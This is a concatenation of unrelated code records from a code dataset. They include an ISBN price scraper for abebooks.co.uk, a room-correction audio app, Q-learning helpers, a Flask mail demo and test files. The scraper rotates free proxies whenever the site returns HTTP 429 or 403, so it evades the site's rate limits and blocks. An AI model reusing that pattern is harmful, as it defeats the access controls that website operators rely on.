Failed Thread.\")\n newthread = threading.Thread(target=worker)\n newthread.daemon = True\n THREAD_LIST.remove(t)\n THREAD_LIST.append(newthread)\n newthread.start()\n time.sleep(15)\n except Exception as e:\n print(\"Error Watching Threads\", e)\n\ndef worker():\n global FAILED_ISBN\n try:\n proxies = get_next_proxy()\n while True:\n isbn, _attempt = q.get()\n try:\n response = requests.get(URL.format(isbn=isbn), proxies=proxies)\n if response.status_code == 429:\n q.put((isbn, _attempt+1))\n proxies = get_next_proxy()\n elif response.status_code == 403:\n remove_dead_proxy(proxies['http'])\n q.put((isbn, _attempt+1))\n proxies = get_next_proxy()\n markup = response.text\n if DEBUG:\n f_name = f\"./scrapes/{isbn}.html\"\n os.makedirs(os.path.dirname(f_name), exist_ok=True)\n with open(f_name, \"w\") as _fp:\n _fp.write(markup)\n bs_data = BeautifulSoup(markup, \"html.parser\")\n try:\n # 3 Different ways to do approximately the same thing.\n #\n # _cost = bs_data.find(\n # \"div\", attrs={\"id\": \"srp-item-price-1\"}).text.split(\" \")[1]\n #\n # _book = bs_data.find(\"div\", attrs={\"id\": \"book-1\"})\n # _h2 = _book.find(\"h2\")\n #\n # _cost = _h2.find(\"meta\", attrs={\"itemprop\": \"price\"})['content']\n _cost = bs_data.select(\"div#book-1 h2 > meta[itemprop='price']\")[0]['content']\n if DEBUG:\n print(f\"{response.status_code}, {proxies['http']} | Writing {isbn} => {_cost}\")\n add_item(isbn, _cost)\n except (AttributeError, IndexError) as e:\n if DEBUG:\n print(f\"ISBN FAILURE: {isbn}\", e)\n # -1 Represents Unable to find the file.\n if _attempt < MAX_RETRIES:\n q.put((isbn, _attempt + 1))\n else:\n add_item(isbn, '-1')\n FAILED_ISBN.add(isbn)\n except OSError as e:\n if DEBUG:\n print(\"Possible Proxy dead. \", proxies['http'])\n remove_dead_proxy(proxies['http'])\n proxies = get_next_proxy()\n q.put((isbn, _attempt))\n except Exception as e:\n if DEBUG:\n print(\"Failed to get file. \", e)\n proxies = get_next_proxy()\n if _attempt < MAX_RETRIES:\n q.put((isbn, _attempt + 1))\n else:\n add_item(isbn, '-2')\n q.task_done()\n\n if SLEEP_TIMER is not None and SLEEP_TIMER > 0:\n time.sleep(SLEEP_TIMER)\n except Exception as threadE:\n print(f\"Exception Not Expected: {threadE}\")\n\ndef main():\n global q\n global ISBN_LIST\n global THREAD_LIST\n q = queue.Queue()\n count = 0\n print(\"Building ISBN List\")\n ISBN_LIST = get_isbns_set()\n try:\n _recovered_df = pd.read_csv(f\"DUMP-{OUTPUTFILE}\", header=None)\n for _idx in _recovered_df.index:\n try:\n _isbn = str(int(_recovered_df[0][_idx]))\n _cost = _recovered_df[1][_idx]\n except:\n continue\n __RESULTS.append((_isbn, float(_cost)))\n if _isbn in ISBN_LIST:\n ISBN_LIST.remove(_isbn)\n __recovered_out = pd.read_csv(OUTPUTFILE, header=None)\n for _idx in __recovered_out.index:\n try:\n _isbn = str(int(__recovered_out[0][_idx]))\n _cost = __recovered_out[1][_idx]\n except:\n continue\n if _isbn in ISBN_LIST:\n ISBN_LIST.remove(_isbn)\n\n print(\"Recovered Position...\")\n except Exception as e:\n print(\"Failed to Recover Position: \", e)\n print(\"Finished Building ISBN List.\")\n for isbn in sorted(ISBN_LIST):\n q.put((isbn, 0))\n if DEBUG:\n print(f\"Number of ISBN to Process: {len(ISBN_LIST)}.\")\n\n for i in range(NUM_THREADS):\n x = threading.Thread(target=worker)\n x.daemon = True\n THREAD_LIST.append(x)\n x.start()\n\n monitor = threading.Thread(target=thread_monitoring)\n monitor.daemon = True\n monitor.start()\n\n q.join()\n monitor._delete()\n # with open(OUTPUTFILE, \"w+\") as fp:\n # fp.writelines([\",\".join(str(isbn), str(price))+'\\n' for isbn, price in sorted(__RESULTS, key=lambda row: row[0])])\n with open(\"failed_isbn.csv\", \"w+\") as fp:\n fp.writelines([str(x)+'\\n' for x in FAILED_ISBN])\n\ndef crash_dump():\n print(f\"Dumping Data: {__RESULTS}\")\n with open(f\"DUMP-{OUTPUTFILE}\", \"w+\") as dp:\n dp.writelines([\",\".join([str(isbn), str(cost)]) + '\\n' for isbn, cost in sorted(__RESULTS, key=lambda row: row[0])])\n print(\"Dump Complete.\")\n\ndef write_part():\n global __RESULTS\n with open(OUTPUTFILE, \"a\") as fp:\n _tmp = __RESULTS\n fp.writelines([\",\".join([str(isbn), str(cost)]) + '\\n' for isbn, cost in sorted(_tmp, key=lambda row: row[0])])\n for i,c in _tmp:\n for row in __RESULTS:\n x,y = row\n if i == x:\n __RESULTS.remove(row)\n\n\nif __name__ == '__main__':\n parser=argparse.ArgumentParser()\n parser.add_argument(\n '-o', '--outfile', help=f'File output. Default: {OUTPUTFILE}', default=OUTPUTFILE)\n parser.add_argument(\n 'input', help=f\"ABS path to Input xlsx ISBN file. Default: '{ISBN_FILE}''\", default=ISBN_FILE)\n parser.add_argument('--retries', help=\"Max Retries\",\n type=int, default=MAX_RETRIES)\n parser.add_argument(\n '-t', '--threads', help=\"Number of Threads\", type=int, default=NUM_THREADS)\n parser.add_argument(\n '--sleep', help=f\"Sleep Timer. Default: {SLEEP_TIMER} seconds\", type=float, default=SLEEP_TIMER)\n parser.add_argument('--max-proxy-latency',\n help=f\"Max Latency for Free Proxies. Default: '{MAX_PROXY_LATENCY}'\", type=int, default=MAX_PROXY_LATENCY)\n parser.add_argument('--debug', help=\"Turns On Debugger\",\n action=\"store_true\")\n parser.add_argument('-p', '--proxy', help=\"ABS path to file representing proxy ip addresses\", default=None)\n args=parser.parse_args()\n if args.outfile:\n OUTPUTFILE=args.outfile\n if args.input:\n ISBN_FILE=args.input\n if args.retries:\n MAX_RETRIES=args.retries\n if args.threads:\n NUM_THREADS=args.threads\n if args.sleep:\n SLEEP_TIMER=args.sleep\n if args.max_proxy_latency:\n MAX_PROXY_LATENCY=args.max_proxy_latency\n if args.debug:\n DEBUG=True\n if args.proxy:\n PROXY_FILE = args.proxy\n\n print(\"Starting....\")\n rebuild_proxylist()\n START=time.time()\n try:\n main()\n except KeyboardInterrupt as e:\n print(\"\\nInteruption!\")\n crash_dump()\n END=time.time()\n _overall=END - START\n print(\n f\"...Application Completed Running.\\nNumber of ISBN in Memory: {len(ISBN_LIST)}\\nFailed Items: {len(FAILED_ISBN)}\\n Time to Completion: {_overall}\")\n","sub_path":"gbt_owner/abebooks.co.uk/isbnscanner.py","file_name":"isbnscanner.py","file_ext":"py","file_size_in_byte":9234,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"180425528","text":"import pytest\nfrom slugify import slugify\nfrom teeplot import teeplot as tp\n\nfrom hstrat import hstrat\nfrom hstrat._auxiliary_lib import release_cur_mpl_fig\n\n\n@pytest.mark.parametrize(\n \"policy\",\n [\n hstrat.fixed_resolution_algo.Policy(10),\n hstrat.nominal_resolution_algo.Policy(),\n hstrat.perfect_resolution_algo.Policy(),\n ],\n)\ndef test(policy):\n hstrat.mrca_uncertainty_absolute_barplot(policy, 100, do_show=False)\n release_cur_mpl_fig()\n hstrat.mrca_uncertainty_absolute_barplot(policy, 10, do_show=False)\n release_cur_mpl_fig()\n\n\n@pytest.mark.heavy\ndef test_docplots(docplot_policy):\n tp.tee(\n hstrat.mrca_uncertainty_absolute_barplot,\n docplot_policy,\n 256,\n teeplot_outattrs={\n \"policy\": slugify(str(docplot_policy)),\n \"num_generations\": \"256\",\n },\n teeplot_transparent=False,\n )\n release_cur_mpl_fig()\n","sub_path":"tests/test_hstrat/test_stratum_retention_viz/test_plot/test_mrca_uncertainty_absolute_barplot.py","file_name":"test_mrca_uncertainty_absolute_barplot.py","file_ext":"py","file_size_in_byte":926,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"325280253","text":"#!/usr/bin/python -OO\n#\n# Shenanigans BeardComb - Aalyzer\n# Based on the work from\n# Python Open Room Correction (PORC)\n\n# Python libs\nimport sys\nimport textwrap\nimport wave\nfrom contextlib import closing\nimport struct\n\n# Scipy, Numpy, and matplotlibs\nimport numpy as np\nimport scipy as sp\nimport scipy.io as sio\nimport scipy.signal as sig\nfrom scipy.fftpack import ifft, fft\nfrom scipy.interpolate import pchip\nfrom scipy.io import wavfile\nfrom scipy.signal import convolve as conv\nfrom scipy.stats import kurtosis#, nanstd\nfrom scipy.stats import norm as Gaussian\nimport matplotlib.pyplot as plt\n\n#UI\nimport kivy\nfrom kivy.properties import ObjectProperty\nfrom kivy.uix.widget import Widget\nfrom kivy.garden.graph import Graph, MeshLinePlot\nfrom math import sin\n\nfrom kivy.app import App\nfrom kivy.uix.tabbedpanel import TabbedPanel\nfrom kivy.lang import Builder\nfrom kivy.garden.matplotlib.backend_kivyagg import FigureCanvasKivyAgg\nfrom kivy.uix.boxlayout import BoxLayout\nfrom kivy.uix.popup import Popup\n\n#Audio\nfrom audiostream import *\n\n# PORC source files\nfrom parfiltid import parfiltid\nfrom tfplot import tfplot, tfplots, debug_log_plot\nfrom freqpoles import freqpoles\n\n# Ignore warnings\nimport warnings; warnings.filterwarnings('ignore')\n\n# MiniDSP's OpenDRC box likes 6144 taps\n\nfrom kivy.config import Config\n\ndef rceps(x): \n\ty = sp.real(ifft(sp.log(sp.absolute(fft(x)))))\n\tn = len(x) \n\tif (n%2) == 1:\n\t\tym = np.hstack((y[0], 2*y[1:n/2], np.zeros(n/2-1)))\n\telse:\n\t\tym = np.hstack((y[0], 2*y[1:n/2], y[n/2+1], np.zeros(n/2-1)))\n\tym = sp.real(ifft(sp.exp(fft(ym)))) \n\treturn (y, ym)\n\t\ndef parfilt(Bm, Am, FIR, x):\n\ty = np.zeros(x.size)\n\tfor k in range(Am.shape[1]):\n\t\ty += np.ravel(sig.lfilter(Bm[:,k], Am[:,k], x))\n\ty += np.ravel(sig.lfilter(np.hstack([FIR]), np.hstack([1]), x))\n\treturn y\n\t\n# Normalize signal\ndef norm(y): return y/np.fabs(y).max()\n\ndef dB2Mag(dB):\n\treturn 10**((dB)/20.)\n \n# The Median Absolute Deviation along given axis of an array\n# From statsmodels lib\ndef mad(a, c=Gaussian.ppf(3/4.), axis=0): # c \\approx .6745\n\ta = np.asarray(a)\n\treturn np.median((np.fabs(a))/c, axis=axis)\n\t\ndef roomcomp(impresp, filter, target, ntaps, mixed_phase, opformat, trim, nsthresh, noplot):\n\n\tprint(\"Loading impulse response\")\n\n\t# Read impulse response\n\tFs, data = wavfile.read(impresp)\n\tdata = norm(np.hstack(data))\n\n\n\tif trim:\n\t\tprint(\"Removing leading silence\")\n\t\tfor spos,sval in enumerate(data):\n\t\t\tif abs(sval)>nsthresh:\n\t\t\t\tlzs=max(spos-1,0)\n\t\t\t\tld =len(data)\n\t\t\t\tprint('Impulse starts at position ', spos, '/', len(data))\n\t\t\t\tprint('Trimming ', float(lzs)/float(Fs), ' seconds of silence')\n\t\t\t\tdata=data[lzs:len(data)] #remove everything before sample at spos\n\t\t\t\tbreak\n\t\t \n\tprint(\"\\nSample rate = \", Fs)\n \n\tprint(\"\\nGenerating correction filter\")\n\n\t###\n\t## Logarithmic pole positioning\n\t###\n\n\tfplog = np.hstack((sp.logspace(sp.log10(20.), sp.log10(200.), 14.), sp.logspace(sp.log10(250.), \n\t\t\t sp.log10(20000.), 13.))) \n\tplog = freqpoles(fplog, Fs)\n\n\t###\n\t## Preparing data\n\t###\n\n\t# making the measured response minumum-phase\n\tcp, minresp = rceps(data)\n\n\t# Impulse response\n\timp = np.zeros(len(data), dtype=np.float64)\n\timp[0]=1.0\n\n\t# Target\n\toutf = []\n\tdb = []\n\n\tif target is 'flat':\n\t\n\t\t# Make the target output a bandpass filter\n\t\tBf, Af = sig.butter(4, 30/(Fs/2), 'high')\n\t\toutf = sig.lfilter(Bf, Af, imp) \n\t\t\n\telse:\n\t\t# load target file\n\t\tt = np.loadtxt(target)\n\t\tfrq = t[:,0]; pwr = t[:,1]\n\n\t\t# calculate the FIR filter via windowing method\n\t\tfir = sig.firwin2(501, frq, np.power(10, pwr/20.0), nyq = frq[-1])\t\n\t\t# Minimum phase, zero padding\t\n\t\tcp, outf = rceps(np.append(fir, np.zeros(len(minresp) - len(fir))))\n\t\t \n\t###\n\t## Filter design\n\t###\n\n\t#Parallel filter design\n\t(Bm, Am, FIR) = parfiltid(minresp, outf, plog)\n\n\t# equalized loudspeaker response - filtering the \n\t# measured transfer function by the parallel filter\n\tequalizedresp = parfilt(Bm, Am, FIR, data)\n\n\t# Equalizer impulse response - filtering a unit pulse\n\tequalizer = norm(parfilt(Bm, Am, FIR, imp))\n\n\t# Windowing with a half hanning window in time domain\n\than = np.hanning(ntaps*2)[-ntaps:]\n\tequalizer = han * equalizer[:ntaps]\n\n\t###\n\t## Mixed-phase compensation\n\t## Based on the paper \"Mixed Time-Frequency approach for Multipoint\n\t## Room Rosponse Equalization,\" by A. Carini et al.\n\t## To use this feature, your Room Impulse Response should have all\n\t## the leading zeros removed.\n\t###\n\tif mixed_phase is True:\n\t\t# prototype function\n\t\thp = norm(np.real(equalizedresp))\n\n\t\t# time integration of the human ear is ~24ms\n\t\t# See \"Measuring the mixing time in auditoria,\" by Defrance & Polack\n\t\thop_size = 0.024\n\t\tsamples = hop_size * Fs\n\n\t\tbins = np.int(np.ceil(len(hp) / samples))\n\n\t\ttmix = 0\n\n\t# Kurtosis method\n\tfor b in range(bins):\n\t\tstart = np.int(b * samples)\n\t\tend = np.int((b+1) * samples)\n\t\tk = kurtosis(hp[start:end])\n\t\tif k <= 0:\n\t\t\ttmix = b * hop_size\n\t\t\tbreak\n\n\t# truncate the prototype function\n\ttaps = np.int(tmix*Fs)\n\n\tprint(\"\\nmixing time(secs) = \", tmix, \"; taps = \", taps)\n\t\n\tif taps > 0:\n\t\t# Time reverse the array\n\t\th = hp[:taps][::-1]\n\t\t# create all pass filter\n\t\tphase = np.unwrap(np.angle(h))\n\t\tH = np.exp(1j*phase)\n\t\t# convert from db to linear\n\t\tmixed = np.power(10, np.real(H)/20.0)\n\t\t# create filter's impulse response\n\t\tmixed = np.real(ifft(mixed))\n\n\t\t# convolve and window to desired length\n\t\tequalizer = conv(equalizer, mixed)\n\t\tequalizer = han * equalizer[:ntaps]\n\n\t\t#data = han * data[:ntaps]\n\t\t#eqresp = np.real(conv(equalizer, data))\n\telse:\n\t\tprint(\"zero taps; skipping mixed-phase computation\")\n\tif opformat in ('wav', 'wav24'): \n\t\t# Write data\n\t\twavwrite_24(filter, Fs, norm(np.real(equalizer)))\n\t\tprint('\\nOutput format is wav24')\n\t\tprint('Output filter length =', len(equalizer), 'taps')\n\t\tprint('Output filter written to ' + filter)\n\t\t\n\t\tprint(\"\\nUse sox to convert output .wav to raw 32 bit IEEE floating point if necessary,\")\n\t\tprint(\"or to merge left and right channels into a stereo .wav\")\n\t\tprint(\"\\nExample: sox leq48.wav -t f32 leq48.bin\")\n\t\tprint(\" sox -M le148.wav req48.wav output.wav\\n\")\n\n\telif opformat == 'wav32':\n\t\twavwrite_32(filter, Fs, norm(np.real(equalizer)))\n\t\tprint('\\nOutput format is wav32')\n\t\tprint('Output filter length =', len(equalizer), 'taps')\n\t\tprint('Output filter written to ' + filter)\n\t\tprint(\"\\nUse sox to convert output .wav to raw 32 bit IEEE floating point if necessary,\")\n\t\tprint(\"or to merge left and right channels into a stereo .wav\")\n\t\tprint(\"\\nExample: sox leq48.wav -t f32 leq48.bin\")\n\t\tprint(\" sox -M le148.wav req48.wav output.wav\\n\")\n\telif opformat == 'bin':\n\t\t# direct output to bin avoids float64->pcm16->float32 conversion by going direct \n\t\t#float64->float32\n\t\tf = open(filter, 'wb')\n\t\tnorm(np.real(equalizer)).astype('float32').tofile(f)\n\t\tf.close()\n\t\tprint('\\nOutput filter length =', len(equalizer), 'taps')\n\t\tprint('Output filter written to ' + filter)\n\telse:\n\t\tprint('Output format not recognized, no file generated.')\n\n\n\t###\n\t## Plots\n\t###\n\tif not noplot:\n\t\tdata *= 500\n\t\t# original loudspeaker-room response\n\t\ttfplot(data, Fs, avg = 'abs')\n\t\t# 1/3 Octave smoothed\n\t\ttfplots(data, Fs, 'r')\n\n\t\t#tfplot(mixed, Fs, 'r')\n\n\t\t# equalizer transfer function\n\t\ttfplot(0.75*equalizer, Fs, 'g')\n\t\t# indicating pole frequencies\n\t\tplt.vlines(fplog, -2, 2, color='k', linestyles='solid')\n\n\t\t# equalized loudspeaker-room response\n\t\ttfplot(equalizedresp*0.01, Fs, avg = 'abs')\n\t\t# 1/3 Octave smoothed\n\t\ttfplots(equalizedresp*0.01, Fs, 'r')\n\n\t\t# Add labels\n\t\t# May need to reposition these based on input data\n\t\tplt.text(325,30,'Unequalized loudspeaker-room response')\n\t\tplt.text(100,-15,'Equalizer transfer function')\n\t\tplt.text(100,-21,'(Black lines: pole locations)')\n\t\tplt.text(130,-70,'Equalized loudspeaker-room response')\n\n\t\ta = plt.gca()\n\t\ta.set_xlim([20, 20000])\n\t\ta.set_ylim([-80, 80])\n\t\tplt.ylabel('Amplitude (dB)', color='b')\n\t\tplt.xlabel('Frequency (Hz)')\n\t\tplt.grid()\n\t\tplt.legend()\n\t\tplt.show()\n\ndef wavwrite_24(fname, fs, data):\n\tdata_as_bytes = (struct.pack('\n\ttitle: \"Options\"\n\tBoxLayout:\n\t\tsize_hint: 0.2,1\n\t\torientation: 'vertical'\n\t\tButton:\n\t\t\ttext: \"Load File\"\n\t\tButton:\n\t\t\ttext: \"Capture\"\n\t\tButton:\n\t\t\ttext: \"Channel\"\n\t\tButton:\n\t\t\ttext: \"PNG Export\"\n\t\t\ton_press: \n\t\t\t\troot.dismiss()\n\t\t\t\tapp.export_png()\n\t\tButton:\n\t\t\ttext: \"Debug (Sweeptest)\"\n\t\t\ton_press:\n\t\t\t\tapp.sinewave()\n\t\tButton:\n\t\t\ttext: \"Back\"\n\t\t\ton_press: root.dismiss()\n\t\tButton:\n\t\t\ttext: \"Exit Application\"\n\t\t\tcolor: 1,.1,.1,1\n\t\t\tbold: True\n\t\t\ton_press: quit()\n\n:\n\torientation: 'vertical'\n\tsize_hint: 1, 1\n\tActionBar:\n\t\tpos_hint: {'top':1}\n\t\tActionView:\n\t\t\tuse_separator: True\n\t\t\tActionPrevious:\n\t\t\t\ttitle: 'BeardComb - Analizer'\n\t\t\t\twith_previous: False\n\t\t\t\tapp_icon: 'icons/beardcomb.png'\n\t\t\tActionOverflow:\n\t\t\tActionButton:\n\t\t\t\ttext: 'Btn0'\n\t\t\t\ticon: 'atlas://data/images/defaulttheme/audio-volume-high'\n\t\t\tActionGroup:\n\t\t\t\ttext: 'Options'\n\t\t\t\tActionButton:\n\t\t\t\t\ton_press: root.option_select()\n\t\t\t\t\ttext: \"Options\"\n\n\tTabbedPanel:\n\t\tpos_hint: {'top':1}\n\t\tdo_default_tab: False\n\t\tTabbedPanelItem:\n\t\t\ttext: 'Plots'\n\t\t\tid: plots\n\t\tTabbedPanelItem:\n\t\t\ttext: 'Test'\n\t\t\tLabel:\n\t\t\t\ttext: 'TestPanel'\n\"\"\")\n\nclass TestGraph(Widget):\n\tpass\n\nclass Options(Popup):\n\tdef build(self):\n\t\troot = Options()\n\t\treturn root\n\nclass Test(BoxLayout):\n\tdef option_select(self):\n\t\tp = Options()\n\t\tp.open()\n\nmain = None\n\nclass BoxLayoutApp(App):\n\tgraph_test = ObjectProperty(None)\n\tdef build(self):\n\t\tself.title = 'Beardcomb Analizer'\n\t\t#graph = Graph(xlabel='Frequency (Hz)', ylabel='Amplitude (dB)', x_ticks_minor=5,\n\t\t#x_ticks_major=128, y_ticks_major=1,\n\t\t#y_grid_label=True, x_grid_label=True, padding=10,\n\t\t#x_grid=True, y_grid=True, xmin=-0, xmax=20000, ymin=-1, ymax=1)\n\t\t#plot = MeshLinePlot(color=[1, 0, 0, 1])\n\t\t#plot.points = [(x, sin(x / 1000.)) for x in range(0, 20001)]\n\t\t#graph.add_plot(plot)\n\n\t\t# Add labels\n\t\t# May need to reposition these based on input data\n\t\tplt.text(325,30,'Unequalized loudspeaker-room response')\n\t\tplt.text(100,-15,'Equalizer transfer function')\n\t\tplt.text(100,-21,'(Black lines: pole locations)')\n\t\tplt.text(130,-70,'Equalized loudspeaker-room response')\n\n\t\ta = plt.gca()\n\t\ta.set_xlim([20, 20000])\n\t\ta.set_ylim([-80, 80])\n\t\tplt.ylabel('Amplitude (dB)', color='b')\n\t\tplt.xlabel('Frequency (Hz)')\n\t\tplt.grid()\n\t\tplt.legend()\n\t\tbox = BoxLayout()\n\t\tbox.add_widget(FigureCanvasKivyAgg(plt.gcf()))\n\t\tmain = Test()\n\t\tmain.ids.plots.add_widget(box)\n\t\treturn main\n\n\tdef export_png(self):\n\t\tprint(\"exportinglol\")\n\t\tapp = App.get_running_app()\n\t\tapp.root.ids.plots.content.children[0].export_to_png('test_graph.png')\n\n\tdef sinewave(self):\n\t\tess,inv = generate_sweeps(5)\n\t\tplayback_audio(ess)\n\ndef main():\t\n\tprint()\n\n\tmtxt = textwrap.dedent('''\\\n\tPython Open Room Correction (PORC), version 0.1\n\tCopyright (c) 2012 Mason A. Green\n\tBased on the work of Dr. Balazs Bank\n\t''')\n\n\tbye = textwrap.dedent('''\n\tExample:\n\t./porc -t b&k.txt -n 8000 l48.wav leq48.bin\n\t\t\n\tSee the README for detailed instructions\n\t''')\n\n\timport argparse\n\tfrom argparse import RawTextHelpFormatter\n\n\tparser = argparse.ArgumentParser(description = mtxt, epilog=bye, formatter_class=RawTextHelpFormatter) \n\n\t# Positionals\n\tparser.add_argument('-impresp', metavar='I', type=str, help='mesaured impulse response')\n\tparser.add_argument('-filter', metavar='F', type=str, help='output filter file name')\n\n\t# Options\n\tparser.add_argument(\"-t\", dest=\"target\", default='flat',\n\t\t\t\t\t help=\"target curve\", metavar=\"FILE\")\n\tparser.add_argument(\"-n\", dest=\"ntaps\", default = 6144,\n\t\t\t\t\t help=\"filter length, in taps. Default = len(input)\", type=int)\n\tparser.add_argument('--mixed', action='store_true', default = False,\n\t\t\t\t\t help=\"Implement mixed-phase compensation. see README for details\") \n\tparser.add_argument(\"-o\", dest=\"opformat\", default = 'bin',\n\t\t\t\t\thelp=\"Output file type, default bin optional wav\", type=str) \n\tparser.add_argument(\"-s\", dest=\"nsthresh\", default = 0.005,\n\t\t\t\t\thelp=\"Normalized silence threshold. Default = 0.05\", type=float) \n\tparser.add_argument('--trim', action='store_true', default = False,\n\t\t\t\t\thelp=\"Trim leading silence\")\n\tparser.add_argument('--noplot', action='store_true', default = False,\n\t\t\t\t\thelp=\"Do not polt the filter\") \t \t\t\t\t\t \n\n\targs = parser.parse_args()\n\tif (len(sys.argv) > 1):\n\t\troomcomp(args.impresp, args.filter, args.target, args.ntaps, args.mixed, args.opformat, args.trim, args.nsthresh, args.noplot)\n\n\tConfig.set('graphics', 'width', '1800')\n\tConfig.set('graphics', 'height', '900')\n\tConfig.set('graphics', 'resizable', False)\n\tConfig.write()\n\tBoxLayoutApp().run()\n\nif __name__==\"__main__\":\n\tmain() \n","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":13227,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"151008774","text":"import numpy as np\n\ndef q_learning(\n env, gamma, alpha, epsilon, num_episodes,Qtable, max_steps=np.inf):\n num_actions = env.num_actions\n policy = get_soft_greedy_policy(epsilon, Qtable)\n for _ in range(num_episodes):\n # initialise state初始化状态\n s = env.reset()\n steps = 0\n while not env.is_terminal() and steps < max_steps:\n # choose the action选动作\n a = choose_from_policy(policy, s)\n next_s, r = env.next(a) # 获取下一个状态和本次reward\n # update the Q function estimate # qlearning公式更新\n Qtable[s, a] += alpha * (r + gamma * np.max(Qtable[next_s, :]) - Qtable[s, a])\n # update the policy # 更新policy,只需要对当前状态更新,只修改s那一行\n policy[s, :] = get_soft_greedy_policy(\n epsilon, Qtable[s,:].reshape(1,num_actions)) #实际上也只传了s那一行的Q值进去,注意仍然2维\n s = next_s\n steps += 1\n # return the policy\n return Qtable\n\n\ndef choose_from_policy(policy, state): #根据目前policy选择最好的action\n num_actions = policy.shape[1]\n # np.random.choice:[0,..,action数-1]的数组中随机抽取元素选取一个action值,实际上就是0,1之前选\n result = np.random.choice(num_actions, p=policy[state, :])#参数p,是一位数组,对应数值决定对应选取的概率,\n # 因为policy中元素每行必定是一个0一个1,随机选取成了必然由policy矩阵决定action\n return result\n\n\ndef get_soft_greedy_policy(epsilon, Q):\n greedy_policy = get_greedy_policy(Q)#一行(本次状态)必定一个0一个1\n policy = (1 - epsilon) * greedy_policy + epsilon * np.ones(Q.shape) / Q.shape[1] #Q.shape[1]==2\n # epsilon贪心算法,注意右边np.ones(Q.shape)/Q.shape[1]形成的是全0.5的1X2矩阵,即等概率policy,再与贪心policy加权平均\n return policy\n\n\ndef get_greedy_policy(Q):\n num_states, num_actions = Q.shape #num_states其实等于1\n policy = np.zeros((num_states, num_actions))#同形状0矩阵,只接收了了1X2的矩阵,因此是1X2的\n dominant_actions = np.argmax(Q, axis=1) #取出那一行最大元素的列标号(从0开始,实际上0或者是1),组成一位数组,元素数是状态数。\n policy[np.arange(num_states), dominant_actions] = 1.#0矩阵policy中每行最大的位置设为1\n return policy\n","sub_path":"flappy_bird-Qlearning/algorithms.py","file_name":"algorithms.py","file_ext":"py","file_size_in_byte":2454,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"208009410","text":"import heapq\n\nn = int(input())\n\ng = [[] for _ in range(n)]\nfor i in range(n-1):\n a, b, c = map(int, input().split())\n\n g[a-1].append((b-1, c))\n g[b-1].append((a-1, c))\n\nq, k = map(int, input().split())\n\ndis = [float(\"inf\")] * n\ndis[k-1] = 0\npq = [(0, k-1)]\nwhile pq:\n d, node = heapq.heappop(pq)\n if d > dis[node]: continue\n\n for nxt, cost in g[node]:\n if d + cost < dis[nxt]:\n dis[nxt] = d + cost\n heapq.heappush(pq, (dis[nxt], nxt))\n\nans = []\nfor i in range(q):\n x, y = map(int, input().split())\n\n ans.append(dis[x-1]+dis[y-1])\n\nprint(\"\\n\".join(map(str, ans)))\n","sub_path":"Python_codes/p03634/s202269731.py","file_name":"s202269731.py","file_ext":"py","file_size_in_byte":616,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"100190833","text":"import os\nfrom flask import Flask, render_template, redirect, url_for\nfrom flask_bootstrap import Bootstrap\nfrom flask_moment import Moment\nfrom flask_wtf import FlaskForm\nfrom wtforms import StringField, SubmitField\nfrom wtforms.validators import DataRequired\nfrom flask_mail import Mail, Message\nfrom flask_script import Manager\nfrom threading import Thread\n\n\napp = Flask(__name__)\napp.config['SECRET_KEY'] = 'hard to guess string'\napp.config['MAIL_SERVER'] = 'smtp.163.com'\napp.config['MAIL_PORT'] = 25\napp.config['MAIL_USE_TLS'] = True\napp.config['MAIL_USERNAME'] = os.environ.get('MAIL_USERNAME')\napp.config['MAIL_PASSWORD'] = os.environ.get('MAIL_PASSWORD')\napp.config['MAIL_SUBJECT_PREFIX'] = '[Mail]'\napp.config['MAIL_SENDER'] = os.environ.get('MAIL_USERNAME')\napp.config['MAIL_RECEIVER'] = os.environ.get('MAIL_RECEIVER')\n\nbootstrap = Bootstrap(app)\nmoment = Moment(app)\nmanager = Manager(app)\nmail = Mail(app)\n\ndef send_async_email(app, msg):\n with app.app_context():\n mail.send(msg)\n\n\ndef send_email(to, subject, template, **kwargs):\n msg = Message(app.config['MAIL_SUBJECT_PREFIX'] + ' ' + subject,\n sender=app.config['MAIL_SENDER'], recipients=[to])\n msg.body = render_template(template + '.txt', **kwargs)\n msg.html = render_template(template + '.html', **kwargs)\n thr = Thread(target=send_async_email, args=[app, msg])\n thr.start()\n return thr\n\n\nclass NameForm(FlaskForm):\n name = StringField('What is your name?', validators=[DataRequired()])\n submit = SubmitField('Submit')\n\n\n@app.errorhandler(404)\ndef page_not_found(e):\n return render_template('404.html'), 404\n\n\n@app.errorhandler(500)\ndef internal_server_error(e):\n return render_template('500.html'), 500\n\n\n@app.route('/', methods=['GET', 'POST'])\ndef index():\n form = NameForm()\n if form.validate_on_submit():\n username=form.name.data\n if app.config['MAIL_RECEIVER']:\n send_email(app.config['MAIL_RECEIVER'], 'New User',\n 'mail/new_user', username=username)\n print('send mail')\n return redirect(url_for('index'))\n return render_template('index.html', form=form, name='word')\n\nif __name__ == '__main__':\n manager.run()\n","sub_path":"mail/mail.py","file_name":"mail.py","file_ext":"py","file_size_in_byte":2224,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"626747569","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Thu Jan 28 10:54:24 2016\n\n@author: lei\n\nThis module contains mathmatical formula to evaluate Gaussian light beam \npropating in vacuum at certain angle\n\"\"\"\n\nfrom abc import ABCMeta, abstractmethod\n\nimport numpy as np\nfrom numpy.lib.scimath import sqrt\n\nfrom ..math.coordtransform import rotate\nfrom ..settings.unitsystem import cgs\n\nclass LightBeam(object, metaclass=ABCMeta):\n r\"\"\"Abstract base class for light beams\n \n Derived classes must substantiate __call__ method which returns the \n electric field at given coordinates\n \"\"\"\n \n @abstractmethod\n def __call__(self, coords):\n pass\n\nclass GaussianBeam(LightBeam):\n r\"\"\"Gaussian light beam propagating in uniform medium\n \n :param float wave_length: the wave length :math:`\\lambda`\n :param float waist_x: The x' coordinate of waist location in Lab frame\n :param float waist_y: The y' coordinate of waist location in Lab frame \n :param float waist_z: The z' coordinate of waist location in Lab frame\n (Optional, Default to be 0) \n :param float tilt_v: the tilt-angle in vertical plane in radian. 0 is \n defined \n as along 